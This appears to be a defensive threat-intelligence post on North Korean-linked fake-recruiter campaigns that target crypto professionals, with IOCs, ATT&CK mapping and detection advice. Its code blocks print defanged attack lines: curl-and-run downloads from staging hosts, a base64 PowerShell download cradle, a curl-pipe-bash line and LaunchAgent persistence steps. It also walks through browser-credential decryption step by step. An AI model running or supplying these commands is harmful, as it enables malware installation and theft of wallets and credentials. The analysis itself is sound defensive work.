Handshake to phishing site: how fake-interview actors groom Web3 targets at events and online

Threat actors do not need to hack your wallet. They need to hack the eighteen months of trust that surrounds it: the conference after-party, the Telegram handle swap, the GitHub “collaboration,” the job offer that finally arrives from a company you were told to keep quiet about. This post maps that lifecycle end to end, with the technical detail behind each stage, grounded in documented campaigns against Web3 and cryptocurrency professionals from 2022 through 2026.

Executive summary

Attackers recruit in person at crypto and security events, then migrate victims to ephemeral messaging (Telegram, Signal, WhatsApp) and maintain contact for weeks to months before the payload stage.
The payload stage is almost always framed as a routine professional step: an interview, a coding assessment, a video call. Fake recruiter personas, front companies and interview platforms are built out with real-looking domains, portfolio sites, social profiles and even paid listings on legitimate job boards.
Documented implants delivered this way include BeaverTail, InvisibleFerret, OtterCookie and FlexibleFerret (Contagious Interview, active since December 2022), AMOS and Rhadamanthys via fake meeting apps (GrassCall, JobStealer), and GolangGhost via ClickFix clipboard trickery (ClickFake).
Outcomes include wallet credential theft, source code and cloud credential exfiltration, and full-organization intrusion. Publicized losses tied to this playbook include the July 2023 CoinsPaid breach (~$37M) and the early 2026 Drift Protocol compromise (~$286M drained in roughly 12 minutes after months of cultivation).

Why the conference circuit works

In-person trust is the hardest asset to fake digitally and the easiest to weaponize once granted. A badge, a lanyard, a shared table at an after-party, and a thirty-minute conversation about deployment pipelines produce what phishing alone rarely can: a victim who believes they initiated the relationship. Industry reporting on the Drift Protocol intrusion describes suspected Lazarus Group operators meeting targets at conferences in multiple countries over roughly six months, building familiarity before the final compromise. Similar physical-seeding behavior has been described around DPRK-linked operators attending industry events under fabricated identities, and the FBI has since 2022 issued repeated advisories on North Korean IT workers using stolen and fabricated personas for recruitment fraud.

For the victim the sequence feels organic. For the operator it is a pipeline with measurable stages, tooling and key performance indicators, no different in structure from a sales funnel.

Figure 1. The six-stage lifecycle. Stage durations matter: operators invest weeks to months in stages 0 and 3 so that stage 4 feels like an ordinary hiring step.

Stage 0: personas, front companies and target selection

The relationship you form is with a fiction maintained across LinkedIn, GitHub, company websites, business registries, and sometimes a second and third “colleague” who all vouch for one another. Silent Push documented this supply chain in the Contagious Interview cluster: three cryptocurrency-consulting front companies, BlockNovas LLC (blocknovas[.]com), Angeloper Agency (angeloper[.]com) and SoftGlide LLC (softglide[.]co), each with websites, business registration records (visible via registries such as Bizapedia), social media pages, and named personas such as “Ramon Mckenzie” and “Mehmet Demir.”

Fake employers post real listings on legitimate platforms. The ChainSeeker.io persona (per CryptoTimes reporting) advertised Web3 jobs on LinkedIn, WellFound and CryptoJobsList.
Personas share repositories and review each other’s code. Silent Push identified linked GitHub accounts (for example David-Odoh/Nyxcipher, Ianstiefvater/blocknova, PrimarchOrder/Blocknovas-LLC-Test, Yasin-97/blocknovas-test) hosting obfuscated code under otherwise plausible project names.
Freelance platforms are used too: one Silent Push case study describes a “payment verified” freelancer badge being used to win trust before a web3 backend project delivered a malicious repository link.
Interview-stage operators may themselves be impersonated: the FBI’s July 2025 advisory warns that DPRK applicants have used AI-generated images and face-swapping during video interviews, which applies equally to the recruiter side of the fake-hiring equation.

Target selection favors people with something to sign or something to ship: engineers at custodians and exchanges, protocol developers with deploy keys or hot-wallet access, and DevOps staff who can move laterally from a laptop to release infrastructure. The job lures adapt to the audience; the payload stage adapts to the operating system.

Stage 1: the physical approach and contact exchange

Events provide the initial contact surface: conference floors, side events, security villages, after-parties, and recruiting booths run by personas rather than companies. The approach is low-pressure and domain-fluent. Operators ask about talks, share credible war stories, and test for an opening such as dissatisfaction with a current employer, a shipping product, or an obvious skills gap they can claim to fill.

Contact exchange follows a consistent pattern: LinkedIn connection first, then a move to Telegram, Signal or WhatsApp within a message or two. Each hop filters for operational security. Telegram and Signal give the operator ephemerality, no phone-number exposure for the persona, and a channel that will not be monitored by the victim’s employer the way corporate email would be.

Ask which channel the person prefers for “technical stuff” and mirror it.
A GitHub handle is collected and a follow request or issue comment made within days to establish a technical paper trail.
The persona volunteers a company email on the front-company domain. MX and WHOIS checks against the front company usually show the same pattern: young domain, privacy-protected or mismatched registration, sparse historical DNS.
Occasionally a second persona, a “colleague” or “founder,” is introduced by the first to add social proof in a later conversation.

Stage 2: relationship maintenance and trust calibration

This is the slowest and most important stage, lasting anywhere from weeks to six or more months in documented intrusions. The operator’s objectives during this period are reconnaissance and habituation: learn the victim’s stack, release cadence, signing process and wallet habits, and condition the victim to receive files and links from them without alarm.

Benign deliveries first. Sample code, architecture notes, a shared deck. The victim’s mail client, messaging app and threat model all learn that this sender is safe.
Collaboration requests on GitHub. The victim is asked to review or extend a repository owned by the persona. In Contagious Interview, these repositories are the delivery vehicle themselves, staged as blockchain games or crypto tools and hosted on GitHub, GitLab or Bitbucket.
Pair-programming or “screen-share debugging” sessions that reveal the victim’s environment, installed tooling, and even which wallets and browser profiles are in use.
Urgency engineering. Toward the end of the cycle, deadlines appear: an offer that must be accepted in 72 hours, a vesting window, an NDA that forbids checking with current colleagues or the real company.
Trust through money. In the Drift Protocol case, reporting describes the operators depositing roughly $1M of real capital to look like a genuine, well-funded counterpart before the eventual compromise.

Stage 3: the interview pivot and payload delivery

At the pivot, the fiction converges on a single plausible action: install this, run this, or click this, framed as an unavoidable step of hiring or collaboration. Four delivery families dominate what researchers have documented.

3.1 Weaponized coding assessments (Contagious Interview)

Victims are walked through a realistic interview pipeline: recruiter outreach, technical discussion, an assignment, follow-ups. The assignment is a repository the victim must clone and execute, usually an npm package. Execution triggers a fetch from a URL shortener or staging domain (Microsoft’s analysis observed vercel[.]app staging and shortener chains) and leads to a backdoor such as OtterCookie or FlexibleFerret. This pattern has been active since at least December 2022 and continues in current detections, now also targeting AI firms and enterprise software providers.

# Representative delivery shape seen in Contagious Interview analysis (defanged)
# Victim is told to clone a repository and run the task:
git clone https://gitlab.example[.]com/super/nyx1.2upgrade-test-public
cd nyx1.2upgrade-test-public && npm install && npm run task
# The task package later fetches a stage from an attacker URL:
curl -k -o /var/tmp/nvidia_update.sh https://easydriver[.]cloud/nvidia-nx.update/$ID && \
  chmod +x /var/tmp/nvidia_update.sh && bash /var/tmp/nvidia_update.sh

The payload names above mirror real staging observed by Silent Push on easydriver[.]cloud, which served per-platform stages (nvidia-nx.update for Linux, nvidia-mac.update for macOS, nvidia-rc.update for Windows, the last expanded via PowerShell). These names are included to show how completely the operation masquerades as routine maintenance tooling.

3.2 Malicious video-interview and scheduling applications

Instead of code, some victims are asked to install the “company’s” interview tool. The GrassCall campaign (reported May 2025) distributed a fake meeting application that emptied wallets on install. The JobStealer cluster (reported May 2026) followed the same shape: fake interview platforms, victims directed to a download domain such as grass[.]net, and a conferencing-style installer that dropped Atomic macOS Stealer (AMOS) on macOS and the Rhadamanthys RAT and infostealers on Windows. SlowMist’s MistEye team separately documented recruiter impersonation steering Web3 professionals to an interview portal at relay[.]lc that pushed an info-stealing application.

Windows installers are typically MSI or NSIS bundles; execution chains spawn the legitimate app for cover while the stealer runs in parallel.
macOS payloads ship as unsigned or ad-hoc signed DMGs and rely on the user overriding Gatekeeper, often with instructions the “recruiter” provides cheerfully.
Expect the app to be a real open-source project (WebRTC meeting software and its forks) with attacker modifications, so code-signing and hashes look plausible to a casual check.

3.3 ClickFix-style clipboard tricks (ClickFake)

Sekoia’s ClickFake reporting (March 2025, attributed to Lazarus Group) shows the interview moving the victim to a page that presents a fake CAPTCHA or error dialog: “verify you are human” or “your browser is outdated.” The instructions ask the victim to open Run or Terminal, paste a command and press Enter, which on Windows runs PowerShell and on macOS runs a curl-pipe-bash stage. Because the victim types the command themselves, endpoint policy and even some EDR miss it entirely. ClickFake notably also targeted less technical crypto employees, a sign that the operators tune the lure to whoever holds wallet or treasury access, not only developers.

# ClickFix-style instruction pattern seen in ClickFake reporting (defanged)
# The victim is told to press Win+R and paste:
powershell -e JABjACAAPQAgACcAaAB0AHQAcAA6AC8ALwBzAHQAYQBnAGUAPgA6AC8AcwBlAHQAdQBwAC4AcABzADEAJwA7AC4ALgAu

Decoding the base64 in the example above is left as an exercise; the pattern is a one-line PowerShell download cradle for a follow-on loader such as GolangGhost.

3.4 Post-interview persistence of the relationship

After the first successful execution, the recruiter persona often stays warm: “great, the assessment environment passed, let’s schedule the system-design round.” This keeps the victim cooperative while the implant runs its initial reconnaissance, a form of in-band cover that Microsoft’s analysis highlights as deliberately intent-masking.

Stage 4: implants, data theft and monetization

4.1 BeaverTail: the browser and wallet stealer

BeaverTail is an obfuscated JavaScript stealer and loader distributed as an npm module. ANY.RUN’s analysis notes it targets browser user data and add-on data for Chrome, Brave and Opera. Campaign analyses further describe a variant that surgically replaces the victim’s MetaMask extension with a malicious impostor, so wallet credentials typed or unlocked after installation flow to the attacker. BeaverTail also stages a portable Python environment (observed as p.zip) used to run the next stage, InvisibleFerret.

4.2 InvisibleFerret: the Python backdoor

InvisibleFerret is a Python backdoor that self-installs dependencies via pip at runtime. Its reconnaissance starts with innocuous public lookups such as ip-api.com for geolocation, then moves to targeted collection: browser credential stores, keystore material, source code, wallets and sensitive documents. ANY.RUN’s analysis documented C2 traffic to two IPs on nonstandard ports with an endpoint set including /keys, /pdo, /pdown and /brow, the last suggesting browser-data collection. A deobfuscated variant surfaced in analysis under the name PrettyVisibleFerret. The same interview-delivery technique was previously used by this cluster to distribute QRLog and Docks/RustDoor.

# InvisibleFerret C2 endpoints observed by ANY.RUN (defanged)
# 147[.]124[.]214[.]129:1244   /keys /pdo /pdown /brow
# 173[.]211[.]106[.]101:1245
# Outbound reconnaissance: https://ip-api.com (legitimate geolocation API)

4.3 OtterCookie and FlexibleFerret: the JS backdoor families

OtterCookie, first observed in September 2024, is the most widely seen backdoor of the Contagious Interview campaign. It runs on Node.js, installs socket.io for command and control, exfiltrates files via axios form-data uploads to blend with normal web traffic, and includes a clipboard watcher that captures everything the user copies, a reliable way to harvest pasted seeds, passwords and addresses. Microsoft describes variants that orchestrate PowerShell and CMD to capture active-window metadata and clipboard content, and use the screenshot-desktop npm package (observed as screenCapture_1.3.2) for screen capture. A newer OtterCookie variant tracked since October 2025 keeps the same core function behind substantially heavier obfuscation. FlexibleFerret is the campaign’s other cross-platform JavaScript backdoor, used for remote code execution and further tooling.

On Windows, Microsoft observed the beaconing agent enumerating credential and keystore material, environment details, notes and cryptographic keys, packaging the results and exfiltrating them via HTTP POST. On macOS the same agent adapts: screen capture, notes, keychain-adjacent data and source trees, deliberately excluding common system and vendor directories to reduce noise. Across families the collection targets are consistent: wallet data, cloud credentials, API tokens, session cookies, source code and anything pasted into the clipboard.

4.4 Monetization and impact

Wallet-level theft: seed phrases, browser-extension impostors, clipboard swaps and session tokens allow direct drains of hot wallets.
Organization-level theft: cloud credentials and source code lead to supply-chain or treasury compromise, the pattern reported in the CoinsPaid breach (July 2023, roughly $37M; a six-month fake-recruitment campaign against the company’s engineers, with the eventual compromise traced to a fake Crypto.com hiring process) and the Drift Protocol case (roughly $286M drained in about 12 minutes, per April 2026 retrospectives, after months of cultivation including in-person meetings and a seven-figure trust deposit).
Espionage as a side effect: Microsoft notes these intrusions also steal API tokens, cloud credentials and proprietary source code, meaning even victims who keep their wallets safe can lose their employer’s crown jewels.

Case study: macOS is not the safe lane

A common misreading of these campaigns is that macOS users are bystanders. The opposite is true: the interview-lure toolkit is aggressively cross-platform, and on Apple silicon the attacker does not need a single exploit. They need the user to open a DMG, type a password into the right window, or paste a command. The cases below show the macOS variants in detail, including one family that shipped with a valid Apple Developer signature.

Figure 2. The macOS chain. Gatekeeper and TCC prompts are the pivot point: every protection asks the user a question, and the interview narrative answers it for them.

MiroTalk.dmg and the fake meeting room (2024)

In July 2024 researchers documented a macOS BeaverTail variant delivered as MiroTalk.dmg, an unsigned disk image impersonating the legitimate MiroTalk video-call service and served from a look-alike site on mirotalk[.]net. The social engineering is a hiring meeting: targets are asked to join an interview by downloading and running the infected call client. On execution the Qt-based stealer harvests cryptocurrency wallet data, iCloud Keychain entries and browser profiles (Chrome, Brave and Opera), then downloads and runs follow-on Python scripts, the InvisibleFerret backdoor. Unit 42’s October 2024 analysis of the same campaign showed the macOS and Windows installers opening fake login windows for MiroTalk and FreeConference.com: the victim types their password into a screen that looks like the meeting service while the malware collects data in the background. A Windows twin (MiroTalk.msi) confirms the campaign spans both platforms, and follow-on reporting (Securonix tracks the cluster as DEV#POPPER) notes later stages installing AnyDesk for persistent remote access.

Artifact: MiroTalk.dmg, unsigned, macOS BeaverTail installer (SHA256 000b4a77b1905cabdb59d2b576f6da1b2ef55a0258004e4a9e290e9f41fb6923 per Unit 42).
Look-alike infrastructure: mirotalk[.]net hosting the poisoned DMG.
C2 servers for the BeaverTail/InvisibleFerret pair observed by Unit 42: 95.164.17[.]24 and 185.235.241[.]208.
Behavioral tell: the victim is asked to enter meeting credentials into a window, while unrelated collection runs in the background.

The FERRET family and the interview error page (2025)

SentinelOne’s February 2025 reporting describes a macOS strain collection, FERRET, delivered through a scripted interview failure: the victim is sent an interview link that throws an error, and the error instructs them to install or update the virtual-meeting software needed to continue (impersonating tools with names in the VCam and CameraAccess space). Earlier samples in this lineage ran a shell loader (ffmpeg.sh) and installed a persistence agent together with a Go backdoor and stealer masquerading as a Google Chrome update (ChromeUpdate). Later analysis added Mac-Installer.InstallerAlert, a variant signed with a valid Apple Developer certificate (Team ID 58CD8AD5Z4) and dropped via an installer package containing two applications, a standalone binary named zoom, and a postinstall.sh script that logs to /tmp/postinstall.log and launches the payloads. The associated C2 domain zoom.callservice[.]us deliberately resembles Zoom infrastructure but is not a Zoom property. SentinelOne’s September 2025 follow-up added macOS FlexibleFerret variants that remained undetected by XProtect at the time of writing, and highlighted a cross-campaign signature: public-IP resolution via api.ipify.org and exfiltration through the Dropbox API (OAuth token endpoint and file upload endpoint), which blends stolen data with ordinary business traffic.

Delivery pattern: interview link that errors, then instructs an install or update.
Signing evolution: unsigned and ad-hoc builds, then a sample with a valid Apple Developer ID. Signature checks alone are not a defense.
Persistence: LaunchAgent plus executables named to look like updaters (ChromeUpdate, com.apple-style names).
Exfil pattern: api.ipify.org for IP resolution, api.dropboxapi.com and content.dropboxapi.com for upload.

Fake update pages and the wallet-wide stealer (2026)

Reporting from July 2026 shows the macOS playbook converging with malvertising: DPRK-linked campaigns push full-screen fake browser-update pages that present a ClickFix-style error, and the pasted command fetches a Node.js backdoor that installs a LaunchAgent for persistence, resolves its C2 address by reading an Ethereum contract, checks in every five minutes to execute attacker-supplied JavaScript, and finally pulls a stealer module aimed at more than 150 cryptocurrency wallet types. The system-level mechanics are the same as the Windows ClickFix flow below, but the persistence and C2 plumbing are native to macOS.

Persistence: LaunchAgent plist with RunAtLoad semantics; the payload hides in Library directories.
C2 obfuscation: server address resolved at runtime from an Ethereum contract, so static domain feeds miss it.
Check-in cadence observed: every 5 minutes, executing remote JavaScript.
Final stage: a stealer module enumerating and harvesting data from a very large wallet-extension list.

Anatomy of the paste: what the command actually does

The most common reader question is also the most practical one: if I ran that command, what happens on my machine, minute by minute? The two walkthroughs below reconstruct the chain from documented ClickFix, fake-update and interview-app samples. Payloads vary between campaigns, so treat the details as the canonical shape, not a specific sample. None of it requires administrator privileges: everything below runs in the user’s own context, which is why endpoint defenses that only watch for privilege escalation miss it.

Windows: the encoded PowerShell paste, step by step

Figure 3. The Windows chain after the paste. Eight stages, none of them requiring admin rights.

The victim opens Run (Win+R) and pastes a single powershell line, usually a base64 -EncodedCommand. The following is what happens next, reconstructed from documented ClickFix and fake-interview execution chains. The example decode below is illustrative, not the payload behind any specific sample.

# Illustrative decode of a ClickFix-style cradle (not a specific sample)
# powershell -e <base64> decodes to something shaped like this:
$c = 'https://stage[.]example/update.ps1';
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -c "Invoke-WebRequest $c -OutFile $env:TEMP\u.ps1; & $env:TEMP\u.ps1"

Decode and hide. PowerShell starts with -NoProfile, -ExecutionPolicy Bypass and -WindowStyle Hidden (or an equivalent flag), so no console flashes and no profile runs. The base64 is decoded in memory.
First download. The decoded script calls Invoke-WebRequest (or curl.exe, or bitsadmin) against a staging URL. Staging frequently sits on disposable infrastructure: a URL shortener, vercel[.]app projects, or a freshly registered domain, as seen in Microsoft’s Contagious Interview telemetry.
Stage to disk. The payload is written under %TEMP% or %APPDATA% with a boring name (an updater, a log file, a DLL, a zip). Nothing is written to protected paths, so no UAC prompt appears.
Secondary execution. The script invokes the downloaded file: an MSI (silently, msiexec /i /qn), a script, or a .NET loader. If AMSI or Defender flags the first attempt, the loader re-encodes itself and retries, sometimes sleeping between attempts.
Persistence. A registry Run key under HKCU (Software\Microsoft\Windows\CurrentVersion\Run) or a scheduled task is created with a task name that matches updater or telemetry phrasing. This is user-level persistence: it survives reboot and runs at logon without elevation.
Beacon. The implant calls home over HTTPS on a common port or through a messaging-style channel (socket.io or axios WebSocket profiles are documented in the OtterCookie family). The interval is short, often minutes, which makes the traffic easy to mistake for a chat client.
Collection. The stealer opens the browser profile directories for Chrome, Edge, Brave and Opera: Login Data (an SQLite file of saved credentials), Local State (contains the DPAPI master key, encrypted at rest but decryptable in the logged-in user’s context), Cookies, History, and Local Extension Settings, which is where wallet extensions keep their data.
Decryption. Using the current user’s DPAPI context, the malware decrypts the master key and then the stored credentials. This is the reason the theft works without admin rights: Windows trusts the logged-in user with its own secrets.
Packaging and exfiltration. Collected files are zipped and uploaded over HTTPS POSTs to the C2 or a cloud-storage API. The clipboard watcher remains active, capturing whatever the user copies next: passwords, 2FA codes, seed phrases, addresses.

Two details deserve emphasis. First, the browser profile and DPAPI steps are the reason wallet owners are warned not to keep hot wallets and saved passwords in the same browser the malware can read. Second, the whole chain completes in seconds to minutes while the victim waits for an interview screen that never appears, and the recruiter persona keeps chatting to hold their attention.

macOS: the pasted curl line, step by step

The macOS ClickFix variant asks the victim to open Terminal and paste a curl-pipe-bash line, or to double-click a downloaded script. What executes is a shell script running with the user’s full rights. Reconstructed from documented macOS ClickFix and fake-interview samples:

# Illustrative macOS ClickFix line (not a specific sample)
curl -fsSL https://stage[.]example/meeting.sh | bash
# the fetched script typically does something like:
#   mkdir -p ~/Library/Application Support/Google/ChromeUpdater
#   curl -o ~/Library/LaunchAgents/com.google.keystone.agent.plist ...
#   launchctl load ~/Library/LaunchAgents/com.google.keystone.agent.plist

Download and execute. bash runs the fetched script directly from the pipe. Nothing is written to disk yet, so the script itself may be invisible to file scanners.
Payload placement. The script writes the real implant under the user’s Library folders, commonly ~/Library/Application Support or ~/Library/Caches, with an updater-style name (ChromeUpdate, com.apple-style helpers).
Persistence. A LaunchAgent property list is written to ~/Library/LaunchAgents and loaded with launchctl. RunAtLoad and KeepAlive keys make the implant start at login and respawn if killed.
Social permission bypass. If the binary is unsigned or ad-hoc signed, the attacker’s script or instructions tell the user to right-click Open or run xattr -d com.apple.quarantine. On modern macOS this is the single most abused instruction in the whole playbook.
TCC prompts with cover. If the implant needs Screen Recording, Accessibility or Full Disk Access, the user sees a legitimate system prompt and the interview narrative explains it away (“the meeting tool needs screen share access”). One click grants the malware the same rights as a screen-recording app.
Collection. Browser profiles hold the same treasure as on Windows: cookies, saved passwords, and the Local Extension Settings of wallet extensions. The malware can also read the login keychain in the user’s context and take screenshots with screencapture when the screen is unlocked.
Exfil. Documented macOS families upload through the Dropbox API and resolve the host’s public IP via api.ipify.org, so the traffic is HTTPS to services that blend into normal business usage.
Second stage. The interview flow continues while the backdoor downloads more tooling (documented examples include AnyDesk for interactive remote access and Python-based backdoors such as InvisibleFerret).

Case study comparison

Contagious Interview (Dec 2022 to present): fake crypto/AI recruiter pipeline; weaponized npm coding tasks from GitHub/GitLab/Bitbucket; BeaverTail, InvisibleFerret, OtterCookie, FlexibleFerret; DPRK-linked per multiple researchers (Unit 42, Microsoft, Silent Push).
VMConnect (Aug 2023): Lazarus- attributed PyPI typosquats and malicious packages with matching GitHub repos to recruit crypto developers; downloaders reaching attacker infrastructure.
CoinsPaid (Jul 2023): ~$37M theft; months of fake job offers aimed at engineers; initial compromise tied to a fake Crypto.com recruitment flow.
ClickFake (Mar 2025): Lazarus; LinkedIn/X job posts, full interview theater, ClickFix clipboard execution delivering GolangGhost; notable for targeting non-developer crypto staff.
GrassCall (May 2025): fake meeting app for interviews; wallet-draining stealer on install; fake companies and job listings as the lure.
MiroTalk.dmg / macOS BeaverTail (Jul 2024): unsigned DMG impersonating MiroTalk on mirotalk[.]net; steals wallets, iCloud Keychain and browser data; drops InvisibleFerret; Windows twin MiroTalk.msi; DPRK-linked (Unit 42, Object-See).
FERRET and macOS FlexibleFerret (2024 to Sep 2025): macOS fake-interview error pages and meeting-software installs; ChromeUpdate backdoor and ffmpeg.sh loader, then InstallerAlert with a valid Apple Developer ID; Dropbox-API exfiltration; DPRK-linked (SentinelOne).
JobStealer platforms (May 2026): fake interview sites directing victims to grass[.]net-style downloads; AMOS on macOS, Rhadamanthys and infostealers on Windows.
SlowMist relay[.]lc alert (Jul 2026): recruiter impersonation against Web3 professionals; interview portal used to push an info-stealing install.
Drift Protocol (early 2026): ~$286M drain; suspected Lazarus infiltration over months including conference meetings in multiple countries and a large good-faith deposit before the attack.

Indicators of compromise

IOCs below are defanged and drawn from the cited public analyses. Treat them as historical pivots, not a live blocklist: infrastructure rotates and several domains were still resolving at the time the reports were written. Verify against current threat intel before operationalizing.

Domains: blocknovas[.]com, angeloper[.]com, softglide[.]co (front companies); gitlab.blocknovas[.]com; lianxinxiao[.]com (infrastructure pivot per Silent Push); easydriver[.]cloud (staging); grass[.]net (fake interview app download); relay[.]lc (interview portal); short[.]gy URL shortener and vercel[.]app staging observed in Microsoft analysis.
C2 endpoints (InvisibleFerret per ANY.RUN): 147[.]124[.]214[.]129:1244 (/keys, /pdo, /pdown, /brow) and 173[.]211[.]106[.]101:1245.
Files and packages: p.zip (portable Python env), nvidia_update.sh / nvidia_mac.sh / nvidiaupdate.zip (staging names), screenCapture_1.3.2 (screenshot npm package used by OtterCookie), npm packages and repos named nyx, blocknova and similar across the GitHub accounts listed in the Silent Push report.
Personas: Ramon Mckenzie, Mehmet Demir, Alexandr Karelin (BlockNovas cluster); ChainSeeker.io recruiting identity.
Behavioral indicators: recruiter contact outside corporate channels, coding assessments that must be run locally, interview apps hosted on non-company domains, clipboard-paste instructions, requests to disable Gatekeeper or SmartScreen, offers with artificial deadlines.

MITRE ATT&CK mapping

T1656 Impersonation (personas, front companies, fake recruiters)
T1585.001 / T1585.002 Establish Accounts (social media and email personas)
T1583.001 / T1583.003 Acquire Infrastructure (domains, virtual private servers)
T1598.003 Phishing for Information (LinkedIn and job-board lures)
T1566.002 Spearphishing Link (interview portal and download links)
T1204.002 User Execution: Malicious File (npm tasks, installers, ClickFix paste)
T1059.001 / T1059.007 Command and Scripting Interpreter (PowerShell and JavaScript stages)
T1105 Ingress Tool Transfer (staged payloads from easydriver[.]cloud and similar)
T1555.003 Credentials from Web Browsers; T1539 Steal Web Session Cookie
T1552.001 Unsecured Credentials (environment, notes, keystore enumeration)
T1113 Screen Capture; clipboard capture behavior often maps to T1115
T1041 Exfiltration Over C2 Channel (axios form-data, HTTP POST to C2)
T1071.001 Application Layer Protocol (socket.io and axios traffic blending)

Detection and response guidance

Endpoint: alert on shell pipelines that pipe network downloads into interpreters (curl|bash, curl|sh, powershell -e with encoded cradles), npm/pip install or run events from freshly cloned repositories, unsigned DMG/MSI installs preceded by recruiter-tool phrasing, and new browser extensions or developer-mode sideloads.
Network: watch for beaconing to nonstandard ports, axios/socket.io WebSocket profiles from developer endpoints, and fetches to freshly registered domains or vercel[.]app-style staging from build machines.
Hunt: clipboard-watcher processes, repeated PowerShell/CMD invocations with encoded arguments from a Node process, screenshot packages in the dependency tree, and outbound POSTs of archive files from developer laptops.
Identity and hiring: verify recruiter domains against the real company’s MX and WHOIS, require a second verification channel for any job that involves code execution or device access, and treat paid listings on legitimate boards as weak proof of identity, the ChainSeeker.io case shows listings can be bought.
Conference season: brief traveling engineers on the persona playbook above, and remind them that no legitimate employer asks a candidate to run code, install a meeting app or paste a command as an interview step.

Prevention playbook

Run any recruiter-supplied code in an isolated container or VM, never on a machine holding wallets, keys or source.
Inspect package.json, lockfiles and repository history before installing. New repositories with a single commit and obfuscated scripts are the signature, not the exception.
Keep hot-wallet activity off the machine used for interviews and collaboration; use hardware wallets and separate browser profiles for protocol operations.
Verify identity through a channel you initiated: call the company’s published number, ask for the internal recruiter, check the domain age and WHOIS history.
Treat deadline pressure as a detection signal. Legitimate hiring survives a 48-hour pause; persona fraud rarely does.
If you clicked, ran or installed something from an interview, assume compromise: disconnect the device, rotate credentials from a clean machine, sweep wallets to fresh seed material, and report the interaction to the platform, to CISA or your national CERT, and to the impersonated company.

Sources and further reading

Microsoft Security Blog: Contagious Interview malware delivered through fake developer job interviews (Mar 2026): microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews
Unit 42: Contagious Interview campaign research (original analysis): unit42.paloaltonetworks.com
Silent Push: front companies BlockNovas, Angeloper, SoftGlide and BeaverTail/InvisibleFerret/OtterCookie delivery: silentpush.com/blog/contagious-interview-front-companies
ANY.RUN: InvisibleFerret technical analysis (Jan 2025): any.run/cybersecurity-blog/invisibleferret-malware-analysis
Sekoia via Infosecurity Magazine: ClickFake Interview campaign (Mar 2025): infosecurity-magazine.com/news/clickfake-interview-campaign
ReversingLabs: fake recruiter VMConnect campaign against crypto developers: reversinglabs.com/blog/fake-recruiter-campaign-crypto-devs
SOCRadar: GrassCall wallet-draining fake interviews (May 2025): socradar.io/blog/grasscall-draining-crypto-wallets-fake-job-interviews
SlowMist MistEye: job scam alert, relay[.]lc interview software (Jul 2026): slowmist.medium.com
CryptoTimes: Web3 job scam coverage incl. Drift Protocol and CoinsPaid retrospectives and JobStealer/GrassCall details (May 2026): cryptotimes.io/2026/05/26/web3-job-scams-fake-interview
FBI/CISA advisories on North Korean IT worker fraud (2022 to 2025) and the FBI July 2025 advisory on AI-assisted interviews, summarized by Help Net Security (Sep 2025): helpnetsecurity.com
Wikipedia: North Korean remote worker scheme (background on the identity pipeline): en.wikipedia.org/wiki/North_Korean_remote_worker_scheme
Unit 42: Contagious Interview DPRK job-seeker lure with macOS BeaverTail and InvisibleFerret variants, MiroTalk/FreeConference impersonation and IOC hashes (Oct 2024): unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters
Object-See (Patrick Wardle) on MiroTalk.dmg macOS BeaverTail, summarized by The Hacker News (Jul 2024): thehackernews.com/2024/07/north-korean-hackers-update-beavertail.html
SentinelOne: FERRET macOS malware family delivered via fake job interviews (Feb 2025), summarized by The Hacker News: thehackernews.com/2025/02/north-korean-hackers-deploy-ferret.html
SentinelOne: macOS FlexibleFerret further variants, InstallerAlert signing and Dropbox exfiltration (Sep 2025): sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed
DPRK-linked macOS malvertising with fake updates, ClickFix and a 150+ wallet stealer, The Hacker News (Jul 2026): thehackernews.com/2026/07/dprk-linked-macos-malvertising-uses.html

This analysis is published for defensive education. Figures and attributions reflect the cited public reporting at the time of writing (September 2026) and may be revised as investigations conclude. IOCs should be validated against current intelligence before use in detection.